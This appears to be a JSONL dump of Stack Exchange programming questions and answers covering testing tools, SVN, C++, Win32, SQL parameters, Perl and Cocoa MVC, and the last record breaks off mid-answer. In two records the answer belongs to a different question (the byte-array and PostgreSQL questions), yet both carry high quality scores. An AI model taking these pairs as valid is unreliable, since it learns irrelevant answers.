{"id": "hf_a6c9a0cb0786", "question": "<p>I've looked into and considered many JavaScript unit tests and testing tools, but have been unable to find a suitable option to remain fully TDD compliant. So, is there a JavaScript unit test tool that is fully TDD compliant?</p>\n", "question_body": "", "answer": "Take a look at\nthe Dojo Object Harness (DOH) unit test framework\nwhich is pretty much framework independent harness for JavaScript unit testing and doesn't have any Dojo dependencies. There is a very good description of it at\nUnit testing Web 2.0 applications using the Dojo Objective Harness\n.\nIf you want to automate the UI testing (a sore point of many developers) — check out\ndoh.robot\n(temporary down. update: other link\nhttp://dojotoolkit.org/reference-guide/util/dohrobot.html\n)\nand\ndijit.robotx\n(temporary down)\n. The latter is designed for an acceptance testing.\nUpdate:\nReferenced articles explain how to use them, how to emulate a user interacting with your UI using mouse and/or keyboard, and how to record a testing session, so you can \"play\" it later automatically.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:51.991095"}
{"id": "hf_e284857556f3", "question": "<p>For a deleted file what's the command to use to view the content of a old revision</p>\n\n<pre><code>E:\\Downloads\\eeli\\eel\\eel&gt;svn cat eel-scalable-font.h -r 2\nsvn: warning: 'eel-scalable-font.h' is not under version control\n</code></pre>\n", "question_body": "", "answer": "I think what your looking for is:\n```\n```\nsvn cat eel-scalable-font.h@2\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.036688"}
{"id": "hf_63a8e36271de", "question": "<p>Joomla has a built-in function on its login screen \"I've forgotten my user name\", so that you can type in your email address and the username is sent to you via email.</p>\n\n<p>I was thinking of changing it so that the username was displayed on screen immediately, without any form of authentication. This would greatly reduce the friction for our users who are returning after a long while, but it would allow anyone to type in any email address and see the associated username (definitely not the other way around though).</p>\n\n<p>Does this create any security risks? Is it a good idea at all?</p>\n", "question_body": "", "answer": "I would say it is a\nslight\nsecurity risk for your less savvy users.  For a user with a weak password, particularly if it is related to their username or e-mail address, exposing their user name leaves them open to having their account hijacked.  Other than that, I can't think of a reason it would be a problem.  If the user has good passwords, it shouldn't matter at all.\nI guess there is a slight anonymity concern.  On a forum for example, I wouldn't want someone who \"knows\" me to find out my username without me telling them.  In this case they could take my e-mail and get it.  But whether that is an issue depends on your site and your user base.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.085628"}
{"id": "hf_a31c837e82c7", "question": "<p>I have a label function like :</p>\n\n<pre><code>private function formatDate (item:Object, column:DataGridColumn):String\n{\n    var df:DateFormatter = new DateFormatter();\n    df.formatString = \"MM/DD/YY\";\n\n    if (column.dataField == \"startDate\") {\n        return df.format(item.startDate);\n    }\n\n    return \"ERR\";\n}\n</code></pre>\n\n<p>Which I use in a datacolumn by using <code>labelFunction</code>.</p>\n\n<p>This works just fine if my data field is called 'startDate'. I want to make this function generic so I can use it everywhere.</p>\n\n<p>How can I do this. i think i need to use some kind of 'reflection' - or perhaps another approach altogether?</p>\n", "question_body": "", "answer": "You can define another function, let's call it\n```\npartial\n```\nthat binds some extra arguments to your function:\n```\n```\nfunction partial( func : Function, ...boundArgs ) : Function {\n  return function( ...dynamicArgs ) : * {\n    return func.apply(null, boundArgs.concat(dynamicArgs))\n  }\n}\n```\n```\nThen you change your function like this:\n```\n```\nprivate function formatDate( dataField : String, item : Object, column : DataGridColumn ) : String {\n  var df : DateFormatter = new DateFormatter();\n\n  df.formatString = \"MM/DD/YY\";\n\n  if ( column.dataField == dataField ) {\n    return df.format(item[dataField]);\n  }\n\n  return \"ERR\";\n}\n```\n```\nNotice that I have added a new argument called\n```\ndataField\n```\nfirst in the argument list, and replaced all references to \"startDate\" with that argument.\nAnd use it like this:\n```\n```\nvar startDateLabelFunction : Function = partial(formatDate, \"startDate\");\nvar endDateLabelFunction   : Function = partial(formatDate, \"endDate\");\n```\n```\nThe\n```\npartial\n```\nfunction returns a new function that calls the original function with the parameters from the call to partial concatenated with the parameters to the new function... you with me? Another way of putting it is that it can return a new function where N of the arguments are pre-bound to specific values.\nLet's go through it step by step:\n```\npartial(formatDate, \"startDate\")\n```\nreturns a function that looks like this:\n```\n```\nfunction( ...dynamicArgs ) : * {\n  return func.apply(null, boundArgs.concat(dynamicArgs));\n}\n```\n```\nbut the\n```\nfunc\n```\nand\n```\nboundArgs\n```\nare what you passed as arguments to\n```\npartial\n```\n, so you could say that it looks like this:\n```\n```\nfunction( ...dynamicArgs ) : * {\n  return formatDate.apply(null, [\"startDate\"].concat(dynamicArgs));\n}\n```\n```\nwhich, when it is called, will be more or less the same as this\n```\n```\nfunction( item : Object, column : DataGridColumn ) : * {\n  return formatDate(\"startDate\", item, column);\n}\n```\n```\nTada!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.124198"}
{"id": "hf_5ad53b9c5b00", "question": "<p>I love grids - especially the cool third party ones like Devex, C1 etc..</p>\n\n<p>Our programmer doesn't think end users can handle them - so he always designs his forms with read-only grids (with read-only classes).  Choosing to edit an item in the grid opens up a detail form that allows editing.  </p>\n\n<p>This app is going to be used by general business folk - not geeks.  But they are all very good Excel users - which I think is kinda 'grid' like. Should I trust my lead developer, or go with my gut which says that users like fast editing - which the grid does much better than the detail forms?  I do want to have a consistent feel to the application, so prefer not to mix it up too much.</p>\n", "question_body": "", "answer": "Users can totally handle grids. It's more intuitive than an edit button and a detail form.\nHowever, is this application a multiple user application? Could the underlying data be changed by more than one user at a time?\nIf so, then you have some concurrency design decisions to make, and sometimes, that can be easier to solve when users can only edit one row at a time.\nIt smells a little fishy though, and I suspect your programmer is making convenient excuses because it's easier for him to design read-only grids in a master / detail pattern.\nStick with your gut instinct. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.148329"}
{"id": "hf_f94539ad6ccf", "question": "<p>I am using several NSButtonCell objects in an NSTableView. They are simple square buttons with custom images on them.</p>\n\n<p>These buttons draw properly when they are not highlighted: all that is visible is the image, and the rest of the button rectangle is transparent. However, when I click on them, the entire button rectangle is highlighted, inverting the background in the parts that were transparent.</p>\n\n<p>I would prefer to see the image drawn inverted, and the transparent parts remain transparent. How can this be done?</p>\n", "question_body": "", "answer": "Try setting your cell's\n```\nhighlightsBy\n```\nproperty to\n```\nNSContentsCellMask\n```\n. I think you'll have to do this in code (probably in\n```\nawakeFromNib\n```\n); I don't see a way to do it in IB alone.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.182763"}
{"id": "hf_b8ec62f68cb1", "question": "<p>Is there ever a good reason to <em>not</em> declare a virtual destructor for a class?  When should you specifically avoid writing one?</p>\n", "question_body": "", "answer": "There is no need to use a virtual destructor when any of the below is true:\nNo intention to derive classes from it\nNo instantiation on the heap\nNo intention to store with access via a pointer to a superclass\nNo specific reason to avoid it unless you are really so pressed for memory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.205684"}
{"id": "hf_33cecd0af0b4", "question": "<p>To calculate a top position for an element of variable height, I was thinking of doing the following:</p>\n\n<ol>\n<li>Move the element 1000px off the top of the viewport</li>\n<li>Set the element to display: block</li>\n<li>Get the height of the element</li>\n<li>Set the element to display: none</li>\n<li>Continue on as if everything is normal and good</li>\n</ol>\n\n<p>Any pitfalls in this approach? Is there a more elegant solution?</p>\n", "question_body": "", "answer": "I'd look at\nprototype's implementation\nof\n```\ngetDimensions\n```\n.\nIt sets the position to absolute, visibility to hidden, and display to block briefly. I've written one which handles getting the height of something which is contained within a\n```\ndisplay:none\n```\nelement, but it's a bit shonky in some edge cases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.228563"}
{"id": "hf_20d3f6a64514", "question": "<p>We were using stringstream to prepare select queries in C++. But we were strongly advised to use QUERY PARAMETERS to submit db2 sql queries to avoid using of stringstream. Can anyone share what exactly meant by query parameter in C++? Also, share some practical sample code snippets.</p>\n\n<p>Appreciate the help in advance.</p>\n\n<p>Edit: It is stringstream and not strstream.</p>\n\n<p>Thanks,\nMathew Liju</p>\n", "question_body": "", "answer": "I suspect this refers to parameterized queries in general, rather than constructing the query in a string, they supply sql variables (or parameters) and then pass those variables separately.  These are much better for handling SQL Injection Attacks.  To illustrate with an example:\n```\n```\n\"SELECT * FROM Customers WHERE CustomerId = \" + _customerId;\n```\n```\nIs bad, while this:\n```\n```\n\"SELECT * FROM Customers where CustomerId = @CustomerId\"\n```\n```\nis good.  The catch is that you have to add the parameters to the query object (I don't know how this is done in C++.\nReferences to other questions:\nhttps://stackoverflow.com/questions/1973/what-is-the-best-way-to-avoid-sql-injection-attacks\nStored Procedures vs Parameterized Queries\nWild Wild Web:\nhttp://www.justsoftwaresolutions.co.uk/database/database-tip-use-parameterized-queries.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.251215"}
{"id": "hf_7247e33cc574", "question": "<p>I recently started diving into low level OS programming. I am (very slowly) currently working through two older books, XINU and Build Your Own 32 Bit OS, as well as some resources suggested by the fine SO folks in my previous question, <a href=\"https://stackoverflow.com/questions/43180/how-to-get-started-in-operating-system-development\">How to get started in operating system development</a>.</p>\n\n<p>It could just be that I haven't encountered it in any of those resources yet, but its probably because most of these resources were written before ubiquitous multicore systems, but what I'm wondering is how interrupts work in a multicore/multiprocessor system.</p>\n\n<p>For instance, say the DMA wants to signal that a file read operation is complete.  Which processor/core acknowledges that an interrupt was signaled?  Is it the processor/core that initiated the file read? Is it whichever processor/core that gets to it first?</p>\n", "question_body": "", "answer": "In the old days the interrupt went to all processors.  In modern times some kinds of hardware can be programmed by an OS to send an interrupt to one particular processor.  Of course if you could choose a processor dynamically instead of statically, you wouldn't want to send the interrupt to whichever processor initiated the I/O, you'd want to send it to whichever processor is least burdened at the present time and can most efficiently start the next I/O operation, and/or whichever processor is least burdened at the present time and can most efficiently execute the thread that was waiting for the results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.274085"}
{"id": "hf_b2fcce18f457", "question": "<p>I'm writing a function for an installer DLL to verify the Authenticode signature of EXE files already installed on the system.</p>\n\n<p>The function needs to:</p>\n\n<blockquote>\n  <p>A) verify that the signature is valid.<br>\n  B) verify that the signer is our organization.</p>\n</blockquote>\n\n<p>Because this is in an installer, and because this needs to run on older Win2k installations, I <strong>don't</strong> want to rely on CAPICOM.dll, as it may not be on the target system.</p>\n\n<p>The <a href=\"http://msdn.microsoft.com/en-us/library/aa388208(VS.85).aspx\" rel=\"noreferrer\">WinVerifyTrust</a> API works great to solve (A).</p>\n\n<p>I need to find a way to compare a known certificate (or properties therein) to the one that signed the EXE in question.</p>\n", "question_body": "", "answer": "If the signature is valid, its certificate chain will contain your certificate.\nCertGetCertificateChain\nwill get that chain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.297088"}
{"id": "hf_4c548d79d2c5", "question": "<p>Is it possible to re-assign the <kbd>Win</kbd>+<kbd>L</kbd> hotkey to another executable/shortcut?</p>\n\n<p>Use-case - I would like to switch off the monitor of my laptop as soon as it is locked. I know of a executable which can lock and turn off the monitor but I do not want to change the way the system is locked (by running the program explicitly or by some other shortcut). It would be best if <kbd>Win</kbd>+<kbd>L</kbd> can be assigned to this executable.</p>\n", "question_body": "", "answer": "Looks like you can't.\nYou can disable all built-in Windows\n  hotkeys\nexcept Win+L\nand Win+U by\n  making the following change to the\n  registry (this should work on all OSes\n  but a reboot is probably required):\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\n  NoWinKeys REG_DWORD 0x00000001 (1)\n(\nhttp://www.autohotkey.com/docs/misc/Override.htm\n)\nBut you could try using Tweak UI. Under the Explorer tree view item, uncheck \"Enabled Windows+X\" hotkeys.\nHoekey\nalso might work, haven't tried it.\nSource\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.357566"}
{"id": "hf_3dd72f8a1348", "question": "<p>How can I determine if a Win32 thread has terminated?</p>\n\n<p>The documentation for <strong><a href=\"http://msdn.microsoft.com/en-us/library/ms683190(VS.85).aspx\" rel=\"noreferrer\">GetExitCodeThread</a></strong> warns to not to use it for this reason since the error code STILL_ACTIVE can be returned for other reasons.</p>\n\n<p>Thanks for the help! :)</p>\n", "question_body": "", "answer": "The documentation you link to warns against using\n```\nSTILL_ACTIVE\n```\nas a return code, since it can't be distinguished from the return value used to indicate an active thread.\nSo don't use it as a return value and you won't have this problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.381289"}
{"id": "hf_cb8bddd6abbb", "question": "<p>say I want to find the latest added rows (UPDATE by any user, not necessarily the one which is executing UPDATE)  in XX table.</p>\n", "question_body": "", "answer": "Please refer to SQL Docs & look for OUTPUT clause (that you can use with UPDATE/INSERT to get the affected records).\nhttp://msdn.microsoft.com/en-us/library/ms177564.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.416002"}
{"id": "hf_42e506c4253d", "question": "<p>I have a string that contains both double-quotes and backslashes that I want to set to a variable in Python. However, whenever I try to set it, the quotes or slashes are either removed or escaped. Here's an example:</p>\n\n<pre><code>&gt;&gt;&gt; foo = 'baz \"\\\"'\n&gt;&gt;&gt; foo\n'baz \"\"'\n</code></pre>\n\n<p>So instead of <code>baz \"\\\"</code> like I want I'm getting <code>baz \"\"</code>. If I then try to escape the backslash, it doesn't help either:</p>\n\n<pre><code>&gt;&gt;&gt; foo = 'baz \"\\\\\"'\n&gt;&gt;&gt; foo\n'baz \"\\\\\"'\n</code></pre>\n\n<p>Which now matches what I put in but wasn't what I originally wanted. How do you get around this problem?</p>\n", "question_body": "", "answer": "You're being mislead by output -- the second approach you're taking actually does what you want, you just aren't believing it. :)\n```\n```\n>>> foo = 'baz \"\\\\\"'\n>>> foo\n'baz \"\\\\\"'\n>>> print(foo)\nbaz \"\\\"\n```\n```\nIncidentally, there's another string form which might be a bit clearer:\n```\n```\n>>> print(r'baz \"\\\"')\nbaz \"\\\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.450881"}
{"id": "hf_39bec8fba1ba", "question": "<p>I realize that this could probably be done easier in any number of other scripting languages but started to do it quick in cmd and now Im curious.</p>\n\n<p>Looking to start a process at an offset to the time that another process started.  Lets say 5 minutes to keep it simple.  Is there a way to add to the %TIME% variable?</p>\n\n<p>For instance:</p>\n\n<pre><code>start /b foo.exe\nat %TIME% + 5 minutes bar.exe\n</code></pre>\n\n<p>Thanks for any assistance</p>\n", "question_body": "", "answer": "I just typed\n```\nset/?\n```\nand discovered cmd is much better than old bat... :-)\n```\n```\nset h=%TIME:~0,2%\nset m=%TIME:~3,2%\nset/a m2=\"m+5\"\nset t2=%h%:%m2%\nset t2\n```\n```\nObviously, you can get 62 minutes, etc., I let you do the extra math... :-D", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.508629"}
{"id": "hf_33ce6ac1beb7", "question": "<p>How would I implement \"close all other tabs\" function for a tab control using Context menu strip?</p>\n", "question_body": "", "answer": "I made a small app with just one tabcontrol in the main window and a context menu connected to that tabcontrol.\nThe following is the handler for the context menu item:\n```\n```\nprivate void closeAllOtherToolStripMenuItem_Click(object sender, EventArgs e)\n    {\n        for (int i = 0; i < this.tabControl1.TabCount; i++)\n            if (i != tabControl1.SelectedIndex)\n                tabControl1.TabPages.RemoveAt(i--);\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.531551"}
{"id": "hf_279b8c8e04ee", "question": "<p>My program works already, I have Perl (GUI Window) where I can input data, data passed to the webpage (using to Tomcat server, JSP) and then <strong>saved</strong> it to oracle database. What I want is to make search parameter (webapp) that <strong>retrieve/extract</strong> data from the Oracle database using Perl CGI. Is it possible? Or any suggestions to solve my program? Thanks!:-)</p>\n", "question_body": "", "answer": "Any specific reason for the mix in technologies? Why not use a servlet/JSP?\nIf you must use Perl, then you need to choose what web-server will run your Perl script.\nNormally, this would be Apache using\nmod_perl\n.\nBut if you only intend to use this for a few admin scripts, then you can run Perl from tomcat as outlined\nhere\n.\nOnce you have managed to get a simple perl script running, then I would look into using\nDBI/DBD::Oracle\nto access your database?\nHope this helps...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.610825"}
{"id": "hf_2c1590743e0b", "question": "<p>I want to show a table of fixed width at the center of browser window. Now I use</p>\n\n<pre><code>&lt;table width=\"200\" align=\"center\"&gt; \n</code></pre>\n\n<p>But Visual Studio 2008 gives warning on this line:</p>\n\n<p><em>Attribute 'align' is considered outdated. A newer construct is recommended.</em></p>\n\n<p>What CSS style should I apply to the table to obtain the same layout?</p>\n", "question_body": "", "answer": "```\n```\nstyle=\"text-align:center;\"\n```\n```\n(i think)\nor you could just ignore it, it still works", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.634190"}
{"id": "hf_f93a3aa76f61", "question": "<p>Is there a way to define the timezone for an application in ASP.NET such that all times read from/compared to current server time are implicitly converted, or do I need to put in conversion statements as each and every DateTime.Now call?</p>\n", "question_body": "", "answer": "Internally use\nDateTime.UtcNow\n. For .NET 3.5, check out\nTimeZoneInfo.ConvertTime\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.702593"}
{"id": "hf_afbfc3a1b49c", "question": "<p>How to delete a file which is in use/open by some process in runtime.\nI am using vb.net for my project and a image is shown in picturebox,\nand that should be deleted, without closing that file.</p>\n", "question_body": "", "answer": "If the file is opened by another process in exclusive mode, you can't -- Windows won't let you.  In that case, the best you can do is to either wait for the other process to close the file and then delete it, or have it be deleted at the next reboot by using\n```\nMoveFileEx()\n```\nwith the flag\n```\nMOVEFILE_DELAY_UNTIL_REBOOT\n```\nand a destination location of\n```\nNULL\n```\n.\nIf the file is opened non-exclusively by another process, you can just call\n```\nDeleteFile()\n```\nnormally (assuming you have permission to do so).  The file will remain while the other process has it open, but it will be deleted as soon as the other process closes it.\n(And yes, I realize those links are for the Win32 C API; the same functions should be available under VB .NET)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.728944"}
{"id": "hf_aebdc091c474", "question": "<p>I need to use a byte array as a profile property in a website. Normally I would declare the type as system.string or system.int32 but I have no idea what the type if for a byte array.</p>\n\n<p>EDIT: I need to use this as profile property that is declared in the web.config like below:</p>\n\n<pre><code>&lt;profile defaultProvider=\"ProfileProvider\" enabled=\"true\"&gt;\n    &lt;properties&gt;\n            &lt;add name=\"Username\" allowAnonymous=\"false\" type=\"System.String\" /&gt;\n            &lt;add name=\"LoginToken\" allowAnonymous=\"false\" type=\" System.Byte()\" /&gt;\n        &lt;/properties&gt;\n&lt;/profile&gt;\n</code></pre>\n", "question_body": "", "answer": "If the file is opened by another process in exclusive mode, you can't -- Windows won't let you.  In that case, the best you can do is to either wait for the other process to close the file and then delete it, or have it be deleted at the next reboot by using\n```\nMoveFileEx()\n```\nwith the flag\n```\nMOVEFILE_DELAY_UNTIL_REBOOT\n```\nand a destination location of\n```\nNULL\n```\n.\nIf the file is opened non-exclusively by another process, you can just call\n```\nDeleteFile()\n```\nnormally (assuming you have permission to do so).  The file will remain while the other process has it open, but it will be deleted as soon as the other process closes it.\n(And yes, I realize those links are for the Win32 C API; the same functions should be available under VB .NET)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.752203"}
{"id": "hf_fde4ff7f296b", "question": "<p>how do I get information about a photo like the author, the license using PHP?</p>\n", "question_body": "", "answer": "This information is all available through the\nFlickr API\n, if you poke around their docs you may find what you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.775497"}
{"id": "hf_57cf7db046e0", "question": "<p>Although I'm doubtful, I'm curious as to whether it's possible to extract primitive-type template parameters from an existing type, perhaps using RTTI.</p>\n\n<p>For example:</p>\n\n<pre><code>typedef std::bitset&lt;16&gt; WordSet;\n</code></pre>\n\n<p>Would it be possible to extract the number 16 in the above code without hard-coding it elsewhere? Compiler specific implementations are welcome, though I'm particularly interested in <code>g++</code>.</p>\n", "question_body": "", "answer": "In the case of\n```\nstd::bitset\n```\n, you can just use the\n```\nsize()\n```\nmember function:\n```\n```\nsize_t sz = oh_my_word.size();  // sz is now 16\n```\n```\nIn the general case, you can define a member function which returns the size in a similar manner:\n```\n```\ntemplate <int N>\nclass Foo\n{\npublic:\n  int size() const { return N; }\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.809814"}
{"id": "hf_bf558e496255", "question": "<p>I am executing a <code>diff</code> command in <code>perl</code>.</p>\n\n<pre><code>my @lines = `/usr/local/bin/diff -udr \\\"$expected_file\\\" \\\"$gen_file\\\"`;\n\nif ($? != 0)\n{\n    print ERRFILE \"Diff between $expected_file and $gen_file failed\\n\";\n    return $diff_err;\n}\n</code></pre>\n\n<p>Here the <code>diff</code> might have failed because of some reason. For example: the stderr showed that <em>/usr/local/bin/diff: test.txt: No such file or directory</em>. I want to read this message in the program. How I can find the stderr message of the <code>diff</code> command (or <code>grep</code> or any command I execute)?</p>\n\n<p>Appreciate the help in advance.</p>\n\n<p>Thanks,\nMathew Liju</p>\n", "question_body": "", "answer": "This is answered in\nperlfaq8: How can I capture STDERR from an external command?\nIf I want to read STDOUT and STDERR of a process, I use IPC::Open3, which comes with Perl. That way, I don't have to merge those streams and later figure out what part of the output came from what.\nI would try to avoid temporary files whenever possible (so no\n```\n2>file.txt\n```\n). That's just too much work and code when I can read STDERR directly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.845021"}
{"id": "hf_99451fe216a6", "question": "<p>I am using Xcode to develop a GUI application. I have a model class and a controller class. I have a NSTextView data member in my controller class. How do I access this variable from the model class?</p>\n", "question_body": "", "answer": "First of all, a model class shall not talk to a view class. A TextView is part of the view.\nalt text http://developer.apple.com/documentation/Cocoa/Conceptual/CocoaFundamentals/Art/cocoa_mvc.gif\nThe controller talks to view classes and view classes provide feedback to the controller. The model classes get updated by the controller and provide feedback to it. The model classes never talk to a view class, they don't even know about the existence of any view classes. So I think you have a basic design problem here. You probably implemented MVC as in this model:\nalt text http://developer.apple.com/documentation/Cocoa/Conceptual/CocoaFundamentals/Art/traditional_mvc.gif\nHowever this is not the way it is done in Mac OS X, this is not the way Apple does it and this is not the way how the whole Cocoa object structure has been designed! So the answer to your question is: You don't, because you should not.\nAside from the fact, that you have a design flaw, you access it like you access all data members in Objective-C. If it is public, you can access it directly:\n```\n```\nMyController * c = [[MyController alloc] init];\n// c has a member name textView, let's access it\n[c->textView ...];\n```\n```\nYou should already know, that this is actually very bad programming style. You should not access data members of another object directly. You should actually not even make them public. If you declare them private, the code above will fail (the compiler enforces that you don't do this). The other way is to implement a getter and access it via the getter:\n```\n```\n// This goes into the controller\n\n- (NSTextView) textView\n{\n    return textView;\n}\n\n// This is called in the modell\n\n[[c textView] ...];\n```\n```\nHowever, this is also bad design. The model might do whatever it wants with this object and your controller won't see it! Why doesn't you model just tell the controller what it wants to happen?\n```\n```\n// In the controller\n\n- (void) notifyContentHasChanged:(NSString *)name\n{\n    // update the text view here ...\n}\n\n// In the modell\n\n[c notifyContentHasChanged:...];\n```\n```\nAnd voila, you have MVC the way Apple wants it to be. The model only notifies the controller of what's going on and the controller updates the view accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.879305"}
{"id": "hf_85deef9b1a3d", "question": "<p>I have a question regarding an update function I created...</p>\n\n<pre><code>CREATE OR REPLACE FUNCTION rm_category_update(icompany bpchar, iraw_mat_cat_code bpchar, iraw_mat_cat_desc bpchar)\n\nRETURNS character AS\n\n$BODY$\n\nDECLARE\n   loc_result    CHAR(50); \n\nBEGIN\n\nUPDATE rm_category\n\n SET\n    raw_mat_cat_code    = iraw_mat_cat_code,\n    raw_mat_cat_desc    = iraw_mat_cat_desc\n\nWHERE company = icompany;\n\nloc_result = 'success';\n\nRETURN loc_result ;\n\nEND;\n\n$BODY$\n\nLANGUAGE 'plpgsql' VOLATILE;\n\nALTER FUNCTION rm_category_update(icompany bpchar, iraw_mat_cat_code bpchar, iraw_mat_cat_desc bpchar) OWNER TO postgres;\n</code></pre>\n\n<p>Okay, so if I input a record that doesn't exist, for example 9, it returns success even though I know it has updated nothing! </p>\n\n<p>Does SQL not throw errors if it is updating a non-existent row??</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "First of all, a model class shall not talk to a view class. A TextView is part of the view.\nalt text http://developer.apple.com/documentation/Cocoa/Conceptual/CocoaFundamentals/Art/cocoa_mvc.gif\nThe controller talks to view classes and view classes provide feedback to the controller. The model classes get updated by the controller and provide feedback to it. The model classes never talk to a view class, they don't even know about the existence of any view classes. So I think you have a basic design problem here. You probably implemented MVC as in this model:\nalt text http://developer.apple.com/documentation/Cocoa/Conceptual/CocoaFundamentals/Art/traditional_mvc.gif\nHowever this is not the way it is done in Mac OS X, this is not the way Apple does it and this is not the way how the whole Cocoa object structure has been designed! So the answer to your question is: You don't, because you should not.\nAside from the fact, that you have a design flaw, you access it like you access all data members in Objective-C. If it is public, you can access it directly:\n```\n```\nMyController * c = [[MyController alloc] init];\n// c has a member name textView, let's access it\n[c->textView ...];\n```\n```\nYou should already know, 